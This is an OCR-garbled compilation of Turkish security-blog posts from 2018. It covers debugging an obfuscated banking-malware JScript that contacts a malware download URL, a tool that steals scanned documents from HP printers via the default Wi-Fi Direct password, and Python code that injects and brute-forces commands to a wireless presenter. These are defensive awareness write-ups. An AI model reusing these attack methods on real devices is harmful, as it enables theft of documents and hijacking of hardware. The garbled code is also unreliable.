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Merhabalar,

2009 yilinda "Bilgi gugtir ve paylasildikca artar” mottosuyla olusturdugum siber givenlik blogumda
(https://www.mertsarica.com), bilgi givenligi farkindaligini artirma adina gok sayida teknik yaziya
yer vermeye calistim. Yillar iginde Tarkiye'nin dért bir yanindan aldigim olumlu geri dénisler
sonucunda, yvazihlanmi yillar bazinda e-kitap olarak derlemeye ve siber givenlik merakllan ile
paylasmaya karar verdim.

Emek, zaman ve kaynak ayirarak yaptidim bu arastirmalar sonucunda yazdigim bu yazilar, siber
givenlik alaminda kendini gelistirmek isteyenler igin umarnm faydal olur.

Yeni yazilarla goriismek dilegivle...
Saygilanmla,
Mert SARICA

Siber Givenlik Uzmani
https://www.mertsarica.com

(W/C)script Hata Ayiklamasi

By Mert SARICA on January 1st, 2018

Okuyanlariiz Man In The Proxy blog yazima konu olan bir internet bankacilig1 zararli yazilimini hedef sisteme indirmek ve caligtirmak
amaciyla zararli bir JScript dosyas1 (Flash-2017.js) kullanildigin1 animsayacaklardir. O yazida okunakli olmayan (encoded) bu JScript
dosyasinin Zararli JavaScript Analizi baslikli yazimda oldugu gibi internet tarayicisi ile basit bir sekilde analiz edilemedigine yer vermistim.
Bunun sebebi ise JScript dosyasinin ¢aligma esnasinda ActiveX ve WScript kullanimina ihtiya¢ duymastydi. (““WScript is not defined”,
“ActiveXObject is not defined”) Internet tarayicisi ile Jscript dosyasinin analiz edilemedigi kimi durumlarda hem Visual Studio‘dan hem de

iicretsiz siirtimii olan Visual Studio Express‘ten faydalanabilirsiniz.
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15 var becafdecbcaaabff = afdebc.GetSpecialFolder(2):
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18 BH/*
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20 function acfabbfabdd (cadfddaceacffc) {

21 var ffbfabeffda = cadfddaceacffc.toString();

23 var ecacebbabbbfddc = '';

23 for (var efadcccbfac = 0; efadcccbfac < ffbfabeffda.length; efadcccbfac += 2)

24 ecacebbabbbfddc += String.fromCharCode (parselInt (ffbfabeffda.substr (efadcccbfac, 2), 16)):

25 return ecacebbabbbfddc;

26 }

27

28 function cbfeedcbceedbbf (ddccfceeaaab) |

29 recurn !isNal (parseFloat(ddccfceeaaab)) && isFinite (ddccfceeaaab):;

30 }
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34 function cfedcadb (eceedbbdacafeeceedbbdaeafe,bfadaea) {

35

36

37 for(i=bfadaea;i>0;i--){

38 eceedbbdaeafeeceedbbdacsafe = eceedbbdasafeeceedbbdaeafe - 1;

41 if (eceedbbdaeafeeceedbbdasafe<()eceedbbdasafeeceadbbdasafe = 9;

42

43 }

aa ha
JavaScript file length:7.392 lines: 308 Ln:1 Col:1 Sel:0]0 Windows (CRLF) UTF-8 INS
————————————————————————————————————

Wikipedia ‘va gore Microsoft Windows Script Host (WSH) (eski adiyla Windows Scripting Host), Microsoft Windows isletim sistemine
ozellik agisindan BATCH dosyalarina kiyasla ¢ok daha fazlasimi vadeden bir betik otomasyon teknolojisidir. Birden fazla betik
(JScript, VBSscript) dosyasini desteklemesi en onemli artilarindan birisidir. Not olarak VBS hata ayiklamasi icin ayrica VbsEdit
isimli aragtan da faydalanabileceginiz yeri gelmisken séyleyeyim.

Bu gibi durumlarda JScript dosyasini hizlica analiz edebilmek igin ilk olarak Visual Studio’da, Tools -> External Tools meniisii altinda
Microsoft tarafindan belirtilen hata ayiklama parametrelerini tanimlamalisiniz. Ardindan analiz etmek istediginiz JScript dosyasini Visual
Studio’da agtiktan sonra Tools meniisii altindan daha 6nce tanimladiginiz Wscript’i secerek JScript dosyasini kolayca analiz etmeye
baslayabilirsiniz.


https://en.wikipedia.org/wiki/Windows_Script_Host
http://www.vbsedit.com/
https://support.microsoft.com/en-us/help/308364/how-to-debug-windows-script-host,-vbscript,-and-jscript-files
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Yazima konu olan Flash-2017.js isimli JScript dosyasini adim adim hata ayiklama ile analiz etmeye basladigimizda, kodun yorum satirlarinin
(comment) bagindaki /* ve */ karakterleri sildigini gorebiliyoruz.
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636 | function acfabbfabdd(cadfddaceacffc) {

637 var ffbfabeffda = cadfddaceacffc.toString();

638 var ecacebbabbbfddc = "";
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Daha sonra script lizerinde yer alan gizlenmis verileri sirasiyla ¢cozen ddfddfdcccbeaf() ve acfabbfabdd() fonksiyonlari hemen dikkatimizi
cekecektir. Eger amacimiz hizlica gizlenmis olan verilerin ¢6ziilmiis haline ulagmak ise bu durumda acfabbfabdd() fonksiyonunun sonunda
yer alan return komutuna kesme isareti (breakpoint) koymamiz durumunda gizlenmis verilerin ¢6ziilmiis haline kolay ve hizli bir sekilde
ulasabiliyoruz.
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Analizin sonuna dogru yaklagsirken Jscript dosyasi tarafindan http:/highetave.xyz/gete14.php?ffl adresine bir istek gonderdildigini ve her
defasinda web sunucusundan donen yanitin farkli (Server-side polymorphism) oldugunu gorebiliyoruz. ||| degerinden onceki sayisal degeri
gizlenmig veriyi ¢6zmede de kullandigin1 6grendikten sonra yukarida bahsettigim fonksiyonlar tarafindan ¢oziilen verinin diske 0c03.exe
(md5: defb9cab318417d3c71bc25e717221¢2) adi altinda kayit edildigini ve ardindan c¢alistirildigint gérebiliyoruz. Sonug olarak, analiz
adima internet tarayicilariin yetersiz kaldig1 kimi durumlarda zararli JScript, VBScript kodlarin1 Visual Studio hata ayiklamasi sayesinde
hizlica analiz ederek aklinizdaki sorulara yanit bulabilirsiniz.

Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler dilerim.

Not:

* Bu yazi ayrica Pi Hediyem Var #12 oyununun ¢6ziim yolunu da igermektedir.

The post (W/C)script Hata Ayiklamasi appeared first on Siber Giivenlik Giinliigii.
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Yazici Deyip Gecmeyin!

By Mert SARICA on February 1st, 2018

Aylar 6nce esimin ihtiyag duymasi iizerine satin almak i¢in bir yazici (printer) arayisi i¢ine girdim. En son 15 yil dnce evinde yazici
bulunduran biri olarak, e-ticaret sitelerini gezerken yazici fiyatlarinin fiyat ve performans agisindan gegtigimiz yillara oranla gok daha makul
seviyelere gelmis olmasi beni sevindirdi. “Insanoglu doyumsuzdur.” soziiniin hakkim vererek, ucuz olsun, tarayicisi da olsun, fotokopi de
¢ekebilsin, Wi-Fi destegi de olsun, mobil cihazdan ¢ikti da rahatlikla alinabilsin derken karsima HP firmasimin DeskJet 3630 All-in-One
yazicisi ¢ikt1 ve 200 TLye satin aldim.

Esimin, “kurcalama, bozacaksin!” hakli isyanlarina aldiris etmeden, evimin yerel agina dahil edecegim bu yeni cihaza hizlica géz atmaya
karar verdim. HP Easy Start uygulamasi sayesinde 5 dakika gibi bir siirede mevcut Wi-Fi agimin parolasini uygulamaya girerek yaziciyi
kablosuz agima kisa bir siirede dahil edip, kurulumu hizlica tamamlayabildim. Kurulum adimlarinda, giivenlik namina dikkat edilmesi
gereken hususlara, giiglii yonetim arayiizii parolasinin belirlenmesine dair herhangi bir yonlendirme géremedim. Halbuki bu yazici, Wi-
Fi cihazlarin kendi aralarinda veri aligverisi yapabilmesine de olanak saglayan Wi-Fi Direct teknolojisine de sahipti. Yazicinin kurulum
belgelerine baktigimda, yiiksek giivenlik seviyesi i¢in Wi-Fi ayarmin otomatikten manuele degistirilmesi gerektigi soylense de, nasil
yapilacagina dair kullanictya herhangi bir bilgi verilmiyordu.
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http://www.wi-fi.org/discover-wi-fi/wi-fi-direct
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1. If the Wi-Fi Direct light on the printer is off, press the Wi-Fi Direct button {@5) to turn on Wi-Fi Direct. W B -

The Wi-Fi Direct light is on when Wi-Fi Direct is turned on.
Press the Wi-Fi Direct button ‘55) and the Information button (@) together to print a Wi-Fi Direct guide.
Follow the instruction on the Wi-Fi Direct guide to connect your computer or mobile device to the printer.
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Print as you normally do from your computer or mobile device.

Note: Wi-Fi Direct connection does not provide Internet access.

Visit the HP Wireless Printing Center at www.hp.com/go/wirelessprinting for more information about Wi-Fi
Direct.

This product is designed for use in open environments (e.g., in homes and not connected to the public Internet) in

which anyone may access and use the printer. As a result, the Wi-Fi Direct setting is in “Automatic” mode by default,
»  without an administrator password; this allows anyone in wireless range to connect and access all functions and ’

settings of the printer. If higher security levels are desired, HP recommends changing the Wi-Fi Direct Connection

Method from “Automatic” to “Manual” and establishing an administrator password. g% EdRPOF v
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Yazicinizi kurmaya hazir misiniz?

Ambalajdan gkardiginiz yazicinizi actiginizda ve yiklemek
zere hazirda kagit bulundurdugunuzda kurulum islemine
baslayabilirsiniz.

Yazicinizi kurmak ve size sunulan eniyi yazilim ¢ézimlerinin
ve hizmetlerinin timand aldiginizdan emin olmak icin Devam'i
tiklatin.

Yazic1 iizerindeki Wireless ve Information tuslarma bastigimda Wi-Fi Direct parolasinin 12345678 oldugunu 6grendim. Isin iiziicii yan ise
bu kadar basit bir parolanin kurulum esnasinda kullanici tarafindan degistirtilmesi ¢cok zor olmasa gerekirdi. Malumunuz aldig1 bir cihazi
efendi gibi kullanmak yerine kurcalamay: tercih eden biri olarak aklima takilan “Peki Wi-Fi Direct i¢in varsayilan olarak kullanilan bu parola
nasil koétiiye kullanilabilirdi ?” sorusuna yanit aramaya bagladim.




Zaman zaman niifus kagitlariyla islem yapilan abone merkezlerinden, noterlere kadar is merkezlerinin ve is hanlarinin yogun oldugu
bolgelerde bu yazicinin ve tarayicisinin aktif olarak kullanildigini bir hayal edelim. Yetkilinin gorevlerinden biri de, islem esnasinda
miisteriden aldig1 niifus kagitlarini taratmak olsun. Peki art niyetli bir kisi yazicitya Wi-Fi Direct {izerinden 12345678 parolasi ile baglanip,
hali hazirda basariyla tamamlanmis bir tarama islemine ait goriintii dosyasini yazicidan indirebilir mi ? Bu sorunun yanitt ne mutlu ki hayir
¢linkii yazic, indirilen goriintii dosyasinin 2. defa indirilmesine izin vermiyor ve muhtemelen de belleginden siliyor.

Peki bu art niyetli kisi, yazicinin durumunu web servis iizerinden takip etse ve bir tarama islemi basladiktan, tamamlandiktan hemen sonra 1
tarama iglemi de kendi baslatsa ve goriintii dosyasini indirse kimin ruhu duyar ? Hele bir de bunu Python ile kodladigi bir arag ile Raspberry
Pi iizerinde galistirirsa isin renginin ne denli degigecegini az ¢ok tahmin edebiliriz. Raspberry Pi tarafi ile ilgili bir ¢aligma yapmasam da
Python ile HP Scanner Thief adinda ufak bir ara¢ gelistirip bunu kotiiye kullanmanin pratikte ne kadar kolay olabilecegini gosterme ve
farkindalik yaratma adina hizlica bir ¢alisma yapmaya karar verdim.

HP Scanner Thief aracinin temel olarak yaptig1, tarayicinin durumunu kontrol etmek i¢in /eSCL/ScannerStatus sayfasina istekte bulunmak
ve JobUuid degeri daha dnceki degerden farkli ise /eSCL/ScanJobs sayfasina tarama iglemini baglatma istegi géndermek ve ardindan olugan
dokiimani /eSCL/ScanJobs/[uuid]/NextDocument sayfasindan indirmekti.
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Pl
0 (Vindows NT 10.0; WOWEA) AppleWebFir/537.3€ (FKETML, like Gecke) Chrome/ST.0

Hozilla

image/ vebp, *f *: qe0, 8

Request

LI9E7.133

I

HP PI'I'J‘ Server; »u\ Deakder 3£I0 msries = FS344C: Serial Nusbes:

e5CL/Soantobs /1083 hd-had7-108-Fch-40B014 6091 </ g Jok
1cHSdibd-badT-1L00-Hobl-0B03E Sa891=/ pug: Jobiiuids

PFeason>JebCompletedSuccesstully</ pug: dob

1> fesCL, / e pwgrloblc 1>
10> 1CB5TE30-D944-1E08-DTOL-d0BOIA5AEBIL </ pug: Joblulds

bStareReasons

Ranudus;er \|

i: Buile:Wed Jul 13,

201€

Raw | Pacarms | Hoaders [ Hex [0 |

Scandobs HTTP/L.1
gzip, detlace
t-revalidate, ne-cache

<Tuml ver
umlna:xsy
smins;: pwg=~

nema- inatance”

g:Versions<escl: Int

gioniinitasencl: Th
' a

< pwds Jc«nf‘(uon—c
»Plate
#scl: YResolut ion:

<t imag
»200</ eac
olol :Ful-n L]

orMode>RGEI4<

nSettings>

e

NTTP/L. 1 101 Created
Server: HP HTTP Sexver:
[ }
Locacion: heep://
(= 0

HP Deskler 3630 meries = F5344C: Serial Number:

/eSCL/ Scanioba/ 1c05d4bd-badT-1£0B-Bch 1406034526851

: Builv:Wed Jul 13, ZOLE 12:15:54PK
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Request

[ oo [ iz

Response

ffon i [ [

GET eSCL/Scandoba/ 1c05d4bd-badT- 1£08-0cb1-40b03 454001/ Next Document HTTP/ L. L

Accept-Emcoding: gzip, detlate
3 Control: must-revalidate,
i cext/wml

Conmection: Keep-Alive

no-cache

T

hn‘wi 1200 of
i HP HTTP Server: m' Deakdet 3630 series - FS544C; Serial Mimber: : Buile:Wed Jul 13, 201¢
|.. S4PH 1
Content-Type: mwe-‘lpw
Cache-Control: max-ages100
Content-length: 345431
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HP Scanner Thief araci sayesinde eger tarayici iizerinde bir iglem gergeklestirildiyse ve 20 saniye iginde taranan belge yazicidan fiziksel
olarak almmadi ise dokiimanin dijital olarak ¢alinmasi miimkiin olabiliyor bu nedenle yonetim arayiiziinden varsayilan Wi-Fi Direct

parolasinin gii¢lii bir parola ile degistirilmesi biiyiik 6nem tagtyor!

Bu yazidan ve caligmadan ¢ikarmamiz gereken ders, giiniimiizde alacagimiz cihazlari sadece fiyat ve performans agisindan degil, giivenlik
acisindan da degerlendirip, satin aldiktan sonra {ireticinin bize sunmus oldugu kolay kurulum adimlari, araglari ile yetinmeyip giivenligini
(gliclii parola, gereksiz servislerin kapatilmasi vs.) sagladiktan sonra cihazi ev veya is agimiza dahil etmek olacaktir.

€D HP Desiiet ok Advanta: X

€5 C0 anm

cure | baep

192.168.223.1/#hld-pgh

@ HP DeskJet Ink Advantage 3630 All-in-One Printer series

Embedded Web Server (GBmild Web Sunucusu)

Tara Sebeke
SEBEKE Genel
Ag Ozen
Genel
. Kablosuz (802.11)
A Gzet

A

+ Kablosuz (802.11)

+ Wi-Fi Direct h

+ RirPrint™

+ Google Cloud Print Wi-Fi Direct

+ Internet Yazdirma Duruem: Agik
Protokoli

+ Gelismig Ayarlar

Ara o

Ayarlar

Durum: Bajl

Aj Adres| 1P T
Donanim (MAC) A

A A SSI0N: |

m o B FAZI ByTING =

92.168.

Wi-Fi Direct At DIRECT-91-HP Desk et 3630 series
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BN CAWINDOWS\system32\emd.exe - [m} *

Nmap scan
Host is up

TE SERVICE
open :
HP Desklet 5 i printer http config
HP DeskJet es printer http confi

HP Generic Scan Gateway 1.0

ite returning data. If you know the service/version, please submit the following fingerprint

Device: printer;

Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler dilerim.

The post Yazici Deyip Gegmeyin! appeared first on Siber Glivenlik Giinliigii.

Et tu, CPCR-505 ?

By Mert SARICA on March 1st, 2018

Yeni yeni sunum davetleri almaya basladigim 2012 yilinin basinda, ilk is olarak kendime kablosuz bir sunum kumandasi almaya karar
vermistim. Fiyat & performans agisindan beni iizmeyecek bir tane ararken, Codegen CPCR-505 sunum kumandasi ile karsilasip hemen satin
almigtim. Emektar sunum kumandam ile ge¢mis yillarda ¢ok sayida keyifli sunumlara imza atmis olsam da, kendisinin Briitiis gibi beni
arkadan hancerleyebilecegini 6grenmem meger yillar sonra ortaya gikacak ve bu yaziya konu olacakmis!
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http://www.mertsarica.com/yazici-deyip-gecmeyin/
http://www.mertsarica.com
http://www.mertsarica.com/et-tu-cpcr-505/
http://www.mertsarica.com/medya/sunumlar/
http://www.codegen.com.tr/codpresenter.html
https://en.wikipedia.org/wiki/Et_tu,_Brute%3F

Kablosuz sunum kumandasi ile sunum yaparken veya sunum yapan birini izlerken aklimi zaman zaman su soru kurcalards; “Sunumu
izleyenlerden birisi, sunum kumandasini uzaktan hackleyerek sunumu sabote edebilir mi ?”” “Mert sen biraz fazla Mr Robot dizisi izlemissin
galiba” diyenleriniz oldugunu duyar gibi olsam da, gegtigimiz giinlerde bunu 6grenmek i¢in emekter sunum kumandami yakindan incelemeye
karar verdim.

Sunum kumandasinin iireticisi olan Codegen firmasinin web sitesini inceledigimde, bu kumandanin 2.4 GHz frekans bandinda galistigi
net olarak ifade edilmisti. Kablosuz klavye ve farelerin de bu frekansta ¢alistigin1 Casus Fare baslikli blog yazim i¢in yapmis oldugum
arastirmalardan az ¢ok bildigimden dolayi, detayli bilgi toplama adina USB alicinin i¢ini agmakla ise koyuldum.
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http://www.imdb.com/title/tt4158110/
http://www.codegen.com.tr
http://www.codegen.com.tr/codpresenter.html
https://en.wikipedia.org/wiki/List_of_2.4_GHz_radio_use
http://www.mertsarica.com/casus-fare/
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Alicinin igini agtigimda karsima nRF24LU1PA 2.4 GHz alici-verici ¢ip ¢ikti. Cipin iireticisi olan Nordic Semiconductor’un web sitesinde
bu ¢ipe ait olan belgeye baktigimda, 125 RF kanal destegi, AES sifreleme destegi ve frekans atlamasina sahip olmasi ilk dikkatimi ¢eken

noktalar oldu.

nRF24LU1P_O_Product_Spec_v1.0.pdf

nRF24LU1+ OTP Product Specification

173 1 178

26 Ordering information

26.1 Package marking

E

X

N|R
A
YIY W

B
PlA
WILIL

26.1.1 Abbreviations

Abbreviation

Definition

LUTPA

Product number

B

Build Code, a unique code for production sites and versioning, test platform.

X

"X" grade, that is, Engineering Samples (optional).

Y

Two digit Year number

Ww

Two digit week number

LL

Two letter wafer lot number code

Table 147. Abbreviations

26.2 Product options

26.2.1 RF silicon
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http://www.nordicsemi.com/eng/content/download/2724/34051/file/nRF24LU1P_Product_Spec_v1_1.pdf

nRF24LU1+ Product Specification ﬂ 0 I

123 Features

Features of the nRF24LU1+ include:

+ Fast 8-bit MCU:
» Intel MCS 51 compliant instruction set
» Reduced instruction cycle time, up to 12x compared to legacy 8051
» 32 bit multiplication - division unit
+  Memory:
» 16 or 32 kbytes of on-chip flash memory with security features
» 2 kbytes of on-chip RAM memory
» Pre-programmed USB bootloader in the on-chip flash memory.
+ 6 programmable digital input/output pins configurable as:
» GPIO
» SPI master
» SPI slave
» External interrupts
» Timer inputs
» Full duplex serial port
» Debug interface
* High performance 2.4 GHz RF-transceiver
» True single chip GFSK transceiver
» Enhanced ShockBurst™ link layer support in HW:
» Packet assembly/disassembly
» Address and CRC computation
» Auto ACK and retransmit
» On the air data rate 250 kbps, 1 Mbps or 2 Mbps
» Digital interface (SPI) speed 0-8 Mbps
* » 125 RF channel option, with 79 (2.402 GHz-2.480 GHz) channels within 2.400 - 2. 4835 GHz
» Short switching time enable frequency hopping
» Fully RF compatible with nRF24LXX
» RF compatible with nRF2401A, nRF2402, nRF24E1, nRF24E2 in 250 kbps and 1 Mbps mode
« AES encryption/decryption HW-block with 128 bits key length
» ECB - Electronic Code Book mode
’ » CBC — Cipher Block Chaining
» CFB — Cipher FeedBack mode
» OFB - Output FeedBack mode
» CTR — Counter mode
+  Full speed USB 2.0 compliant device controller supporting:
» Data transfer rates up to 12 Mbit/s
» Control, Interrupt, Bulk and 1SO data transfer
» Endpoint 0 for control
» Sinput and 5 output Bulk/Interrupt endpoints
» 1input and 1 output iso-synchronous endpoints
» Total 512 bytes of USB buffer endpoint memory sharable between endpoints

2015 yilinda Black Hat Giivenlik Konferansi‘na gitmigken satin aldigim ve RF Diinyasi ve Giivenlik Diinyasi blog yazimda da kullanmis
oldugum HackRF One cihazi sayesinde sunum kumandasi ile bilgisayarima taktigim USB alicisinin arasindaki haberlesmeyi HDSDR
programi yardimi ile izlemeye bagladim.

- HDSDR [default] version 2.70 - o IEl

NN REW 76.3 Hz

Lrum el 7oOm &

Soundcard [F5]
B th [F6]
I
Help | Update [F1]

Full Screen [Fi1]

1
Minimize [F3]

P — — 8 Hz
it [F4] »: ey v/t K RBW 93.8 H Avg.
L ) Spectrum a—— 7 00m e Speed
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http://www.mertsarica.com/black-hat-macerasi/
http://www.mertsarica.com/rf-dunyasi-ve-guvenlik/
https://greatscottgadgets.com/hackrf/
http://www.hdsdr.de/

Sunum kumandas: frekans atlalamasi yaptig1 igin veri paketlerini nasil yakalayip, ¢6zecegim lizerine hindi gibi diisiiniirken Bitcraze’in Wiki
sayfasinda tam da aradigim konuyu isleyen bir yazi ile karsilastim. Yazida belirtilenleri harfi harfine uygulayarak sunum kumandast ile alict
arasindaki fare hareketlerinden, sunum kumandasindaki ¢esitli butonlara (ses yilikseltme, azaltma vs.) basilinca olusan ¢esitli veri paketlerini

(adres, boyut, veri) kolayca elde edebildim.

nrf24_demod.gre - /root/Desktop - GNU Radio Companion

File Edit View Run Tools Help

ble

1D: fsk_deviation_hz_0

o~ ®x MNB - L - Qo
Options Variable Variable Variable Varial
1D: top_block 1D: samp_rate 1D: center_freq | | 1D: fsk_deviation_hz
Generate Options: WX GUI Value: M Value: 2.444G | Value: 170k Value: 320k
Variable
1D: nrf_channel
Value: 44

osmocom Source

Sample Rate (sps): 8M WX GUI Scope Sink

Cho: Frequency (Hz): 2.444G Quadrature Demod j  Title: Scope Plot
€ho: Freq. Corr. (ppm): 0 ™l Gain: 14,9793 i sample Rate: 2M
Cho: DC Offset Mode: Off I Trigger Mode: Normal
Cho: 1Q Balance Mode: Off | R
Cho: Gain Mode: Manual
: RF Gain (dB): 10 Float To Short -
Cho: IF Gain (dB): 20 --{lsult: i H
Cho: BB Gain (dB): 20 -
File Sink
| Flle: ftmp/fifo
Low Pass Filter | Unbuffered: Off
Decimation: 4 Append file: Append
Galn: 1
"l Sample Rate: 8M I

Cutoff Freq: 1.9M
Transition Width: 100k
Window: Hamming
Beta: 6.76

0000000000000000000000000000000000000000000000000 §
0000000000000C000000000000000000000C00000000000000
000000000000000C000000000000000000000000000000000

0000000000000C0C000000C0000000000000C000000000000
0000000000000000000000000000000000000000000000
00000000000000000000000000000C00000C00000000000000
0000000000000C0C00000000000000C0000C00000000000000
000000000000000000C0C0000000000000000

Id
Imports

*Variables

center_freq
fsk_deviation_hz

nrf_channe

samp_rate

Value

2.4e9 + (nrf_channel*1e6)
170e3

44

8eb

(- I -

Core

* Audio

+Boolean Operators

+ Byte Operators

» Channelizers

» Channel Models

-Coding

- Control Port

+Debug Tools

+Deprecated

» Digital Television

-Equalizers

-Error Coding

~FCD

+File Operators

- Filters

- Fourier Analysis |
- GUI Widgets

: * Impairment Models

*Instrumentation
*Level Controllers

« *Math Operators
*Measurement Tools
* Message Tools

= *Misc

-Modulators

» Networking Tools
»NOAA

root@Hack4Career: ~/Desktop/NRF24-BTLE-Decoder-master/bin

File Edit View Search Terminal Help

NRF24 Packet start sample 84861508, Threshold:-2885, Address: 0x861D787927 length:5, pid:3, no ack:0, CRC:0xDA4A data:02
1474159344,
1474159344
9 00 00 03
1474159344,
9 00 00 03
1474159344
1474159344
0 60 00 83
1474159344
1474159344
9 00 00 83
1474159344

62 NRF24
NRF24

Threshold:
Threshold:

Packet
Packet

start
start

84861874,
84982181,

1229, Address:
-2417, Address:

sample
sample

0x861D707927 length:0, pid:1, no

@, CRC:0xE2BB data:
0x861D707927 length:5, pid:0, C

%2036 data:02

NRF24 Packet t sample 84983036, Threshold:-2649, Address: @x861D707927 length:5, gpid:0, no ack:0, CRC:0x2036 data:02

.358496
.452919

NRF24
NRF24

Threshold:
Threshold:

Packet st
Packet

84983403,
85163953,

1169, Address:
-3279, Addr

sample
sample

SeD707927 length:1,001d:2, no_ack:0, CRC:0x4563 data:00
8610707927 length:5, pid:1, no ack:@, CRC:0xDCEB data:02

.453004
.505435

NRF24
NRF24

Threshold:
Threshold:

Packet
Packet st

85164319,
85284646,

-193, Address:
-4560, Addre

t sample
sample

CRC:0xA23F dg

0x861D707927 length:0, pid:3, no ack:0
: :0x2697 data:@

0x861D707927 length:5, pid:2, no

.505570 NRF24 Packet t sample 85285501, Threshold:-3001, Address: @x861D707927 length:5, pid:2, no_ack:0 x2697 data:

.505629
.617497

NRF24
NRF24

Threshold:
Threshold:

Packet sta
Packet

sample
sample

85285866,
85496631,

67, Address: 0x861D707927 length:1, pid:0, no ack:0, CRC:0x89A7 data:@0
1474159344 -2447, Address: 8x861D707927 length:5, pid:3, no ack:0, CRC:0xDA4A data:@
0 00 00 83
1474159344 .617584
1474159345.191685
9 00 00 B3
191751
.276415

NRF24
NRF24

Packet
Packet

Threshold:
Threshold:

L sample
sample

85496996,
86646790,

507, Address: 0x861D707927 length:0, pid:1, no_a
-7309, Address: 0x861D707927 length:5, pid:0, no_ack:0,

Threshold:
Threshold:

Packet s
Packet

NRF24
NRF24

sample
sample

86647155,
86827703,

333, Address: 8x861D707927 length:1, pid:2, no_ack:®, CRC:0x4563 data:0@
-1651, Address: @x861D707927 length:5, pid:1, no :0, CRC:0xDCEB data:@02

Threshold:
Threshold:

Packet
Packet

NRF24
NRF24

1131, Addres
-2797, Address:

CRC:0xA23F data:
CRC:0x2697 data:02

sample
sample

: x861D707927 length:0, pid:3, no_ack

1474159345 .37400¢ 0x861D707927 length:5, pid:2, no_ac 5
9 00 00 B3

1474159345.

1474159345.4362
0 00 00 83
1474159345,
0 08 00 B3
1474159345
1474159345

NRF24
NRF24

Threshold:
Threshold:

Packet
Packet

sample
sample

87010043,
87130186,

1035, Address:
-2042, Address:

x861D707927 length:1, pid:®, no_ack:0, CRC

x861D707927 length:5, pid:3, no ack:0, CRC:

89A7 data:e0
xDA4A data:02

436516 NRF24 L sample 87131041, Threshold:-3502, Address: Ox861D707927 length:5, pid:3, no_ack:0, CRC:0xDA4A data:@2

.436613
.521358

NRF24
NRF24

Threshold:
Threshold:

sample
sample

87131407,
87311958,

1666, Address: O0x861D707927 length:1, pid:1, no_a xEFC5 data:00
-3919, Address: 8x861D707927 length:5, pid:0, no_ack:8, CRC:0x2036 data:02 E

Sira veri paketlerini sunum kumandasinin alicisina gondermek i¢in hangi aygitla, cihazla bu isi gerceklestirecegime karar vermeye gelmisti.
Hali hazirda elimde bulunan Arduino Uno R3 ve NRF24L.01+ 2.4GHz alic1 verici modiil ile bu isi gergeklestirebilirdim. Bill Gates bir
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https://wiki.bitcraze.io/misc:hacks:hackrf
https://wiki.bitcraze.io/misc:hacks:hackrf
https://store.arduino.cc/arduino-uno-rev3
http://www.robotistan.com/wireless-nrf24l01-24ghz-transceiver-modul-24ghz-alici-verici-modul-1
https://en.wikipedia.org/wiki/Bill_Gates

roportajinda “Her zaman en tembel insanlart ise alirim ¢iinkii tembeller ¢ok karisik isleri bile en kisa yoldan yaparlar.” derken beni
kastetmis olsa gerek ki Arduino, modiil ve kablolarla simdi kim ugrasacak diye hayiflanirken aklima Casus Fare baslikli blog yazimda
kullandigim CrazyRadio PA USB aygiti geldi. Python kiitiiphanesi sayesinde igletim sistemi farketmeksizin 5 satirlik bir kod ile istedigim
aliciya, diledigim veri paketini gondermem oldukga kolay olacakti. scan_channels() fonksiyonu sayesinde asagidaki kod ile 50-70 arasindaki
kanallara (frekans atlama sebebiyle 50-70 arasi kanallara gondererek veri paketinin alictya ulagma sansini arttirdim.) ses yiikseltme komutu
iceren veri paketini gonderdim ve basariya ulastim. ;)

i mport crazyradi o

r = crazyradio. Crazyradi o()

r.set _data rate(r.DR _2MPS)

# Al #c#/ Verici adresi

r.set_address((0x27, 0x79, 0x70, O0x1D, 0x86))

# Ses yuksel tnme konutu

print r.scan_channel s(50, 70, [0x02, 0xE9, 0x00, 0x00, 0x03])

O — = — - ndex [Bitcra.. % o Usin areer: ~/D Pl io-fi i e o elmuscna:ksn x *

File Edt View Search Terminal Help b o + & =

Scope Plot Bl | Persistence
= Mc B 1 e | =
Axes Options n 1_cha 76, 168, [8x41])
| i | SecsiDiv: +] - .
ol | i { i1 i Counts/Div
1 | | |¥Offset:
T Offset . -
& Autorange 2 See nF int r.scan_chann
Channel Options )

.5can_chann 4 x43,0x44])

Counts

h  Terminal F

% View  Se
art sample d ¢ :1, print r.scan channels(

sample 8 OAD 1 h:22, pi print r.sean_chann

56 9A 99 21
D3 EC DF 7E
A GE 48 BA 11
AG A9 D6 GA
5 1B 18 BA A9 ED E6

t sample D1 49 4E 94 E5 54

sample 3 94

45 11 54 EC A9 14 11 58 AC D5 15 41

old:1445, Addr : 115 44 91 16 2A Al 48
1342, A | FA DB BA F7 5B 56 A

? NRF24 Packet 3 2808, Threshold:371, Addres: 43828 length:21, ' . Bx754A data:D4 33 1A DC 96 96 1D 27 B2 29 D2 B3 5E D5 69 65 51 9D AB 88

8 NRF24 P rt p & BEFS i CRC B 26 E6 FB DC AE BA
3 78 74 CE EE F3 BS 35 28 Ab

Highlight Al Match Case 4 of 10 matches x

Tabii ses arttirarak veya azaltarak bir sunumu sabote etmek pek de miimkiin olamayacagi i¢in sunum kumandasinin normalde gondermedigi
ancak sunumun kumandasinin alicisinin destekledigi gizli komutlari, deneme yanilma (brute-force) yontemi ile tespit etmeye karar verdim.
Bunun i¢in de asagidaki Python kodunu yazdim.

i mport crazyradi o
i mport time

r = crazyradio. Crazyradi o()
r.set _data rate(r.DR _2MPS)
r.set_address((0x27, 0x79, 0x70, 0x1D, 0x86))

def bruteforce():

i =0
whil e i
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Cok gecneden sunum kumandas#nda var ol mayan ancak sunum kumandas#n#n al #c#s#n#n dest ekl edi #i ve ekran parl akl ###n# a:

[2, 111, 0, O, 3] # Ekran parl akl ###n# artt#r#yor.

[2, 112, 0, 0, 3] # Ekran parl akl ###n# azal t #yor.

o

e - python presente

Sunum kumandas#n#n al #c#s#na #ayet Casus Fare bl og yaz#s#nda ol du#u gi bi klavye tu# basnma konutl ar# da godnderebilinir
Bunun gi bi 2.4 GHz (I SM band#) frekans band#nda, #ifresiz gercekl e#en benzer tum haberl e#nel erde (nisal dronel ar ol at
The post Et tu, CPCR-505 ? appeared first on Siber Givenlik Ginl 0#u.

Android Hata Ayiklamasi

By Mert SARICA on March 31st, 2018

Yillar i¢inde Android isletim sistemi yiiklii mobil cihazlarin pazar paymin bir hayli yiikselmesi, teknoloji meraklilar1 kadar zararl yazilim
gelistiricilerinin de dikkatini gekmeyi basardi. Oyle ki giiniimiizde Windows isletim sistemi kullanicilari nasil zararl yazilimlara kars1 ilave
